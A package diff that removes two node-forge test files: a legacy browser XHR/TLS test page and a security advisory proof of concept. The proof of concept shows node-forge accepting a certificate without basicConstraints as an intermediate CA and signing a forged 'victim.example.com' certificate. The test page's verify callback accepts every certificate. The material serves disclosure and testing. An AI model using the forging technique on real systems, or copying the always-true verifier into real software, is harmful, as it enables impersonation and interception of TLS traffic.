pi-codex-auto-review 0.1.2 → 0.1.4

package/node_modules/node-forge/tests/legacy/xhr.js

@@ -1,590 +0,0 @@
-/**
- * Forge XmlHttpRequest Test
- *
- * @author Dave Longley
- * @author David I. Lehn <dlehn@digitalbazaar.com>
- *
- * Copyright (c) 2009-2010 Digital Bazaar, Inc. All rights reserved.
- */
-(function($)
-{
-   // load flash socket pool
-   window.forge.socketPool = {};
-   window.forge.socketPool.ready = function()
-   {
-      // init forge xhr
-      forge.xhr.init({
-         flashId: 'socketPool',
-         policyPort: 19945,
-         msie: $.browser.msie,
-         connections: 10,
-         caCerts: [],
-         verify: function(c, verified, depth, certs)
-         {
-            // don't care about cert verification for test
-            return true;
-         }
-      });
-   };
-   swfobject.embedSWF(
-      '/forge/SocketPool.swf', 'socketPool', '0', '0', '9.0.0',
-      false, {}, {allowscriptaccess: 'always'}, {});
-})(jQuery);
-
-jQuery(function($)
-{
-   var cat = 'forge.tests.xhr';
-
-   var tests = [];
-   var passed = 0;
-   var failed = 0;
-
-   var init = function() {
-      passed = failed = 0;
-      $('.ready,.testing,.pass,.fail')
-         .removeClass('ready testing pass fail');
-      $('#status')
-         .text('Ready.')
-         .addClass('ready');
-      $('#total').text(tests.length);
-      $('#pass').text(passed);
-      $('#fail').text(failed);
-      $('.expect').empty();
-      $('.result').empty();
-      $('.time').empty();
-      $('.timePer').empty();
-      $('#start').removeAttr('disabled');
-   };
-
-   var start = function()
-   {
-      $('#start').attr('disabled', 'disabled');
-      // meta! use tasks to run the task tests
-      forge_task.start({
-         type: 'test',
-         run: function(task) {
-            task.next('starting', function(task) {
-               forge.log.debug(cat, 'start');
-               $('#status')
-                  .text('Testing...')
-                  .addClass('testing')
-                  .removeClass('idle');
-            });
-            $.each(tests, function(i, test) {
-               task.next('test', function(task) {
-                  var title = $('li:first', test.container);
-                  if($('#scroll:checked').length === 1)
-                  {
-                     $('html,body').animate({scrollTop: title.offset().top});
-                  }
-                  title.addClass('testing');
-                  test.run(task, test);
-               });
-               task.next('test', function(task) {
-                  $('li:first', test.container).removeClass('testing');
-               });
-            });
-            task.next('success', function(task) {
-               forge.log.debug(cat, 'done');
-               if(failed === 0) {
-                  $('#status')
-                     .text('PASS')
-                     .addClass('pass')
-                     .removeClass('testing');
-               } else {
-                  // FIXME: should just be hitting failure() below
-                  $('#status')
-                     .text('FAIL')
-                     .addClass('fail')
-                     .removeClass('testing');
-               }
-            });
-         },
-         failure: function() {
-            $('#status')
-               .text('FAIL')
-               .addClass('fail')
-               .removeClass('testing');
-         }
-      });
-   };
-
-   $('#start').click(function() {
-      start();
-   });
-
-   $('#reset').click(function() {
-      init();
-   });
-
-   var stressStats =
-   {
-      sent: 0,
-      success: 0,
-      error: 0
-   };
-   var stressStatsMessage = function()
-   {
-      return 'received:' + (stressStats.success + stressStats.error) + '/' +
-         stressStats.sent + ' errors:' + stressStats.error;
-   };
-
-   $('#stress').click(function() {
-      for(var i = 1; i <= 100; ++i)
-      {
-         (function(seqnum)
-         {
-            setTimeout(function()
-            {
-               $.ajax(
-               {
-                  type: 'GET',
-                  url: '/result.txt?seq=' + seqnum,
-                  beforeSend: function(xhr)
-                  {
-                     ++stressStats.sent;
-                     xhr.setRequestHeader('Connection', 'close');
-                  },
-                  success: function(data, textStatus, xhr)
-                  {
-                     ++stressStats.success;
-                     forge.log.debug(cat, 'xhr connection completed' +
-                        ' seq:' + seqnum +
-                        ' datalen:' + data.length + ' ' +
-                        stressStatsMessage());
-                  },
-                  error: function(xhr, textStatus, errorThrown)
-                  {
-                     ++stressStats.error;
-                     forge.log.error(cat, 'xhr connection failed' +
-                        ' seq:' + seqnum + ' ' +
-                        stressStatsMessage(), arguments);
-                  },
-                  xhr: forge.xhr.create
-               });
-            }, 0);
-         })(i);
-      }
-      return false;
-   });
-
-   /**
-    * Creates a simple XMLHttpRequest wrapper. For testing.
-    */
-   var createWrapper = function()
-   {
-      var UNSENT = 0;
-      var OPENED = 1;
-      var HEADERS_RECEIVED = 2;
-      var LOADING = 3;
-      var DONE = 4;
-
-      var toWrap = new XMLHttpRequest();
-
-      // create xhr wrapper object
-      var xhr =
-      {
-         // FIXME: an EventListener
-         onreadystatechange: null,
-         // FIXME: readonly
-         readyState: UNSENT,
-         // FIXME: a string
-         responseText: null,
-         // FIXME: a document
-         responseXML: null,
-         // FIXME: readonly, returns the HTTP status code
-         status: 0,
-         // FIXME: readonly, returns the HTTP status message
-         statusText: null,
-
-         // FIXME: async, user, and password are optional
-         open: function(method, url, async, user, password)
-         {
-            toWrap.open(method, url, async, user, password);
-         },
-
-         setRequestHeader: function(header, value)
-         {
-            toWrap.setRequestHeader(header, value);
-         },
-
-         // FIXME: data can be a string or a document
-         send: function(data)
-         {
-            toWrap.send(data);
-         },
-
-         abort: function()
-         {
-            toWrap.abort();
-            toWrap.onreadystatechange = null;
-            toWrap = null;
-         },
-
-         // FIXME: return all response headers as a string
-         getAllResponseHeaders: function()
-         {
-            return toWrap.getAllResponseHeaders();
-         },
-
-         // FIXME: return header field value
-         getResponseHeader: function(header)
-         {
-            return toWrap.getResponseHeader(header);
-         }
-      };
-
-      toWrap.onreadystatechange = function()
-      {
-         // copy attributes
-         xhr.readyState = toWrap.readyState;
-         xhr.responseText = toWrap.responseText;
-         xhr.responseXML = toWrap.responseXML;
-
-         if(toWrap.readyState == HEADERS_RECEIVED)
-         {
-            xhr.status = toWrap.status;
-            xhr.statusText = toWrap.statusText;
-         }
-
-         if(xhr.onreadystatechange)
-         {
-            //forge.log.debug(cat, 'wrapper orsc', toWrap);
-            xhr.onreadystatechange();
-         }
-      };
-
-      return xhr;
-   };
-
-   var addTest = function(name, run)
-   {
-      var container = $('<ul><li>Test ' + name + '</li><ul/></ul>');
-      var expect = $('<li>Expect: <span class="expect"/></li>');
-      var result = $('<li>Result: <span class="result"/></li>');
-      var time = $('<li>Time: <span class="time"/></li>');
-      var timePer = $('<li>Time Per Iteration: <span class="timePer"/></li>');
-      $('ul', container)
-         .append(expect)
-         .append(result)
-         .append(time)
-         .append(timePer);
-      $('#tests').append(container);
-      var test = {
-         container: container,
-         startTime: null,
-         run: function(task, test) {
-            test.startTime = new Date();
-            run(task, test);
-         },
-         expect: $('span', expect),
-         result: $('span', result),
-         check: function() {
-            var e = test.expect.text();
-            var r = test.result.text();
-            (e == r) ? test.pass() : test.fail();
-         },
-         pass: function(iterations) {
-            var dt = new Date() - test.startTime;
-            if(!iterations)
-            {
-               iterations = 1;
-            }
-            var dti = (dt / iterations);
-            passed += 1;
-            $('#pass').text(passed);
-            $('li:first', container).addClass('pass');
-            $('span.time', container).html(dt + 'ms');
-            $('span.timePer', container).html(dti + 'ms');
-         },
-         fail: function(iterations) {
-            var dt = new Date() - test.startTime;
-            if(!iterations)
-            {
-               iterations = 1;
-            }
-            var dti = (dt / iterations);
-            failed += 1;
-            $('#fail').text(failed);
-            $('li:first', container).addClass('fail');
-            $('span.time', container).html(dt + 'ms');
-            $('span.timePer', container).html(dti + 'ms');
-         }
-      };
-      tests.push(test);
-   };
-
-   addTest('builtin xhr', function(task, test)
-   {
-      task.block();
-
-      $.ajax(
-      {
-         type: 'GET',
-         url: '/result.txt',
-         success: function(data)
-         {
-            test.expect.html('expected result');
-            test.result.html(data);
-            task.unblock();
-         },
-         error: function()
-         {
-            task.fail();
-         }
-      });
-
-      task.next(function(task)
-      {
-         test.pass();
-      });
-   });
-
-   addTest('builtin xhr (10 serial)', function(task, test)
-   {
-      var N = 10;
-      for(var i = 0; i < N; i++)
-      {
-         task.next(function(task)
-         {
-            task.parent.block();
-
-            $.ajax(
-            {
-               type: 'GET',
-               url: '/result.txt',
-               success: function(data, textStatus)
-               {
-                  test.result.append('.');
-                  task.parent.unblock();
-               },
-               error: function(xhr, textStatus, errorThrown)
-               {
-                  task.fail(N);
-               }
-            });
-         });
-      }
-
-      task.next(function(task)
-      {
-         test.pass(N);
-      });
-   });
-
-   addTest('builtin xhr (10 parallel)', function(task, test)
-   {
-      var N = 10;
-      task.block(N);
-      for(var i = 0; i < N; i++)
-      {
-         $.ajax(
-         {
-            type: 'GET',
-            url: '/result.txt',
-            success: function(data, textStatus)
-            {
-               test.result.append('.');
-               task.unblock();
-            },
-            error: function(xhr, textStatus, errorThrown)
-            {
-               task.fail(N);
-            }
-         });
-      }
-
-      task.next(function(task)
-      {
-         test.pass(N);
-      });
-   });
-
-   // test only works with non-IE
-   if(!$.browser.msie)
-   {
-      addTest('generic wrapper xhr', function(task, test)
-      {
-         task.block();
-
-         $.ajax(
-         {
-            type: 'GET',
-            url: '/result.txt',
-            success: function(data)
-            {
-               test.expect.html('expected result');
-               test.result.html(data);
-               task.unblock();
-            },
-            error: function()
-            {
-               task.fail();
-            },
-            xhr: createWrapper
-         });
-
-         task.next(function(task)
-         {
-            test.pass();
-         });
-      });
-
-      addTest('generic wrapper xhr (10 serial)', function(task, test)
-      {
-         var N = 10;
-         for(var i = 0; i < N; i++)
-         {
-            task.next(function(task)
-            {
-               task.parent.block();
-
-               $.ajax(
-               {
-                  type: 'GET',
-                  url: '/result.txt',
-                  success: function(data, textStatus)
-                  {
-                     test.result.append('.');
-                     task.parent.unblock();
-                  },
-                  error: function(xhr, textStatus, errorThrown)
-                  {
-                     task.fail(N);
-                  },
-                  xhr: createWrapper
-               });
-            });
-         }
-
-         task.next(function(task)
-         {
-            test.pass(N);
-         });
-      });
-
-      addTest('generic wrapper xhr (10 parallel)', function(task, test)
-      {
-         var N = 10;
-         task.block(N);
-         for(var i = 0; i < N; i++)
-         {
-            $.ajax(
-            {
-               type: 'GET',
-               url: '/result.txt',
-               success: function(data, textStatus)
-               {
-                  test.result.append('.');
-                  task.unblock();
-               },
-               error: function(xhr, textStatus, errorThrown)
-               {
-                  task.fail(N);
-               },
-               xhr: createWrapper
-            });
-         }
-
-         task.next(function(task)
-         {
-            test.pass(N);
-         });
-      });
-   }
-
-   for(var i = 0; i < 3; i++) {
-   addTest('TLS xhr ' + i, function(task, test)
-   {
-      task.block();
-
-      $.ajax(
-      {
-         type: 'GET',
-         url: '/result.txt',
-         success: function(data, textStatus, xhr)
-         {
-            test.expect.html('expected result');
-            test.result.html(data);
-            task.unblock();
-         },
-         error: function(xhr, textStatus, errorThrown)
-         {
-            task.fail();
-         },
-         xhr: forge.xhr.create
-      });
-
-      task.next(function(task)
-      {
-         test.pass();
-      });
-   });
-   }
-
-   addTest('TLS xhr (10 serial)', function(task, test)
-   {
-      var N = 10;
-      for(var i = 0; i < N; i++)
-      {
-         task.next(function(task)
-         {
-            task.parent.block();
-
-            $.ajax(
-            {
-               type: 'GET',
-               url: '/result.txt',
-               success: function(data, textStatus, xhr)
-               {
-                  test.result.append('.');
-                  task.parent.unblock();
-               },
-               error: function(xhr, textStatus, errorThrown)
-               {
-                  task.fail(N);
-               },
-               xhr: forge.xhr.create
-            });
-         });
-      }
-
-      task.next(function(task)
-      {
-         test.pass(N);
-      });
-   });
-
-   addTest('TLS xhr (10 parallel) ' +
-      '(hit "Reset" then "Start" to speed up - uses SSL session cache)',
-      function(task, test)
-   {
-      var N = 10;
-      task.block(N);
-      for(var i = 0; i < N; i++)
-      {
-         $.ajax(
-         {
-            type: 'GET',
-            url: '/result.txt',
-            success: function(data, textStatus, xhr)
-            {
-               test.result.append('.');
-               task.unblock();
-            },
-            error: function(xhr, textStatus, errorThrown)
-            {
-               task.fail(N);
-            },
-            xhr: forge.xhr.create
-         });
-      }
-
-      task.next(function(task)
-      {
-         test.pass(N);
-      });
-   });
-
-   init();
-});

package/node_modules/node-forge/tests/pocs/ghsa-2328-f5f3-gj25.js

@@ -1,85 +0,0 @@
-// Security Advisory PoC
-//
-// https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25
-//
-// Doruk Tan Ozturk (@peaktwilight) - doruk.ch
-
-const forge = require('../..');
-const pki = forge.pki;
-
-function generateKeyPair() {
-  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
-}
-
-console.log('=== node-forge basicConstraints Bypass PoC ===\n');
-
-// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
-const rootKeys = generateKeyPair();
-const rootCert = pki.createCertificate();
-rootCert.publicKey = rootKeys.publicKey;
-rootCert.serialNumber = '01';
-rootCert.validity.notBefore = new Date();
-rootCert.validity.notAfter = new Date();
-rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
-
-const rootAttrs = [
-  { name: 'commonName', value: 'Legitimate Root CA' },
-  { name: 'organizationName', value: 'PoC Security Test' }
-];
-rootCert.setSubject(rootAttrs);
-rootCert.setIssuer(rootAttrs);
-rootCert.setExtensions([
-  { name: 'basicConstraints', cA: true, critical: true },
-  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
-]);
-rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
-
-// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
-//    This certificate should NOT be allowed to sign other certificates
-const leafKeys = generateKeyPair();
-const leafCert = pki.createCertificate();
-leafCert.publicKey = leafKeys.publicKey;
-leafCert.serialNumber = '02';
-leafCert.validity.notBefore = new Date();
-leafCert.validity.notAfter = new Date();
-leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
-
-const leafAttrs = [
-  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
-  { name: 'organizationName', value: 'PoC Security Test' }
-];
-leafCert.setSubject(leafAttrs);
-leafCert.setIssuer(rootAttrs);
-// NO basicConstraints extension — NO keyUsage extension
-leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
-
-// 3. Create a "victim" certificate signed by the leaf
-//    This simulates an attacker using a non-CA cert to forge certificates
-const victimKeys = generateKeyPair();
-const victimCert = pki.createCertificate();
-victimCert.publicKey = victimKeys.publicKey;
-victimCert.serialNumber = '03';
-victimCert.validity.notBefore = new Date();
-victimCert.validity.notAfter = new Date();
-victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
-
-const victimAttrs = [
-  { name: 'commonName', value: 'victim.example.com' },
-  { name: 'organizationName', value: 'Victim Corp' }
-];
-victimCert.setSubject(victimAttrs);
-victimCert.setIssuer(leafAttrs);
-victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
-
-// 4. Verify the chain: root -> leaf -> victim
-const caStore = pki.createCaStore([rootCert]);
-
-try {
-  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
-  //const result = pki.verifyCertificateChain(caStore, [leafCert, victimCert]);
-  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
-  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
-  console.log('  This violates RFC 5280 Section 6.1.4.');
-} catch (e) {
-  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
-}